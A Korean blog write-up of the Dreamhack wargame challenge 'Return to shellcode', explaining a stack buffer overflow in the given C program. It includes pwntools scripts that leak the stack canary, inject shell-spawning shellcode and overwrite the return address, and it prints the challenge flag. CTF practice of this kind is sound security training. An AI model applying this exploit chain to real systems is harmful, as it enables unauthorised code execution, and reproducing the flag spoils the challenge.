본문 바로가기

Wargame/Dreamhack

[Dreamhack] Return to shallcode

Canary found.

카나리 방어 기법이 걸려있다.

 

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];        //80 bytes만큼 할당

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);   //buf의 주소와 buf ~ $rbp 의 offset을 출력

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);   //사용자로부터 buf에 0x100 (256 bytes) 만큼 입력받는데 할당된 buf보다 입력값이 크므로 버퍼 오버플로우가 발생
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");    //사용자가 입력한 값을 출력
  fflush(stdout);
  gets(buf);            //buf에 크기 제한 없이 사용자 입력을 받아 버퍼 오버플로우를 유발

  return 0;
}

 

r2s.c 이다.

main 함수를 보자.

buf는 0x50 즉, 80 bytes만큼 할당된다. 16진수로 50은 10진수로 80이므로.

printf 함수로 buf의 주소와 buf ~ $rbp 의 offset을 출력한다.

read 함수를 통해 사용자로부터 buf에 0x100 (256 bytes) 만큼 입력받는다.

이 때, 할당된 buf보다 입력값이 크므로 버퍼 오버플로우가 발생한다.

printf 함수를 통해 사용자가 입력한 값을 출력한다.

gets 함수로 buf에 크기 제한 없이 사용자 입력을 받아 버퍼 오버플로우를 유발한다.

 

 

실행시켜보면,

buf ~ $rbp 사이 거리가 96 bytes인데 read로 입력받은 값이 256 bytes이므로 카나리릭을 할 수 있다.

 

스택 구조는 아래와 같다.

 

RET[8]

SFP[8]

canary[8]

buf[80]

 

문제에서 쉘을 따는 함수가 주어지지 않아서 shellcode를 삽입해야 한다.

buf[80] + dummy[8] => 총 88bytes의 dummy를 넣으면 canary에 도달한다.

shellcode를 buf에 저장하여 RET을 buf 주소로 연결하면, main 함수가 끝나는게 아니라 다시 buf로 실행 흐름이 넘어와 shellcode를 실행한다.

먼저 카나리릭을 한 후 기존 buf 크기와 sfp 크기와 동일한 크기의 dummy 값을 넣어야 RET에 도달한다.

 

카나리가 총 8바이트인데 맨 앞은 \x00 이다.

printf 함수는 null byte가 올 때까지의 데이터를 모두 출력한다.

\x00를 만나면 이후의 값은 출력하지 않는단 말이다.

그러므로 카나리 첫번째 byte까지 dummy로 채우면 남은 7byte의 카나리 값을 릭할 수 있다.

즉 buf~canary +1 크기인 dummy[89]

 

 

 

 

카나리를 릭하는 코드를 짜보자.

 

from pwn import *
context.log_level = 'debug'
p =remote('host3.dreamhack.games', 15355)
e =ELF('./r2s')

#buf address
p.recvuntil('Address of the buf: ')
buf = int(p.recv(14), 16)

#offset
p.recvuntil('Distance between buf and $rbp: ')
offset = int(p.recv(2))
print("[+] Address of buf:", hex(buf))
print("[+] buf <=> sfp:", hex(offset))
print("[+] buf <=> canary:", hex(offset-8))

#canary leak
p.recvuntil("Input: ")
payload = b"a"*89
p.send(payload)
p.recvuntil(payload)
canary = u64(b"\x00"+p.recv(7))
print("[+] canary:", hex(canary))
#log.info("[+] canary: 0x%x" %canary)

 

 

카나리 값이 출력되었다.

 

exploit을 위한 payload를 짜보자.

 

[shellcode & dummy] * 0x58 + [canary] + dummy * 8 + [buf addr]

 

from pwn import *
import warnings

warnings.filterwarnings( 'ignore' )

context.arch = "amd64"
p = remote("host3.dreamhack.games", 15355)

# buf[] 주소
p.recvuntil("buf: ")
buf_address = int(p.recvline()[:-1], 16)
log.info("Buffer Address : "+hex(buf_address))

# from buf[] to rbp & from buf[] to canary
p.recvuntil("rbp: ")
distance = p.recvuntil("\n")
distance = int(distance[0:len(distance)-1])
canary_distance = distance - 0x8
log.info("from buf[] to rbp distance : "+hex(distance))
log.info("from buf[] to canary distance : "+hex(canary_distance))

# canary leak
leak =  b'A'*(canary_distance + 1)
p.sendafter("Input: ", leak)
p.recvuntil(leak)
canary = u64(b'\x00' + p.recvn(7))
log.info("Canary : "+hex(canary))

shellcode = asm(shellcraft.sh())

# exploit
payload = shellcode.ljust(canary_distance, b'A')
payload += p64(canary)
payload += b'B'*0x8
payload += p64(buf_address)

p.sendafter("Input: ", payload)

p.interactive()

 

 

 

DH{333eb89c9d2615dd8942ece08c1d34d5}

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Return to library  (0) 2023.09.24
[Dreamhack] ssp-001  (0) 2023.09.24
[Dreamhack] basic_exploitation_000  (0) 2023.09.17
[Dreamhack] XSS-1  (0) 2023.09.14
[Dreamhack] FFFFAAAATTT  (0) 2023.04.02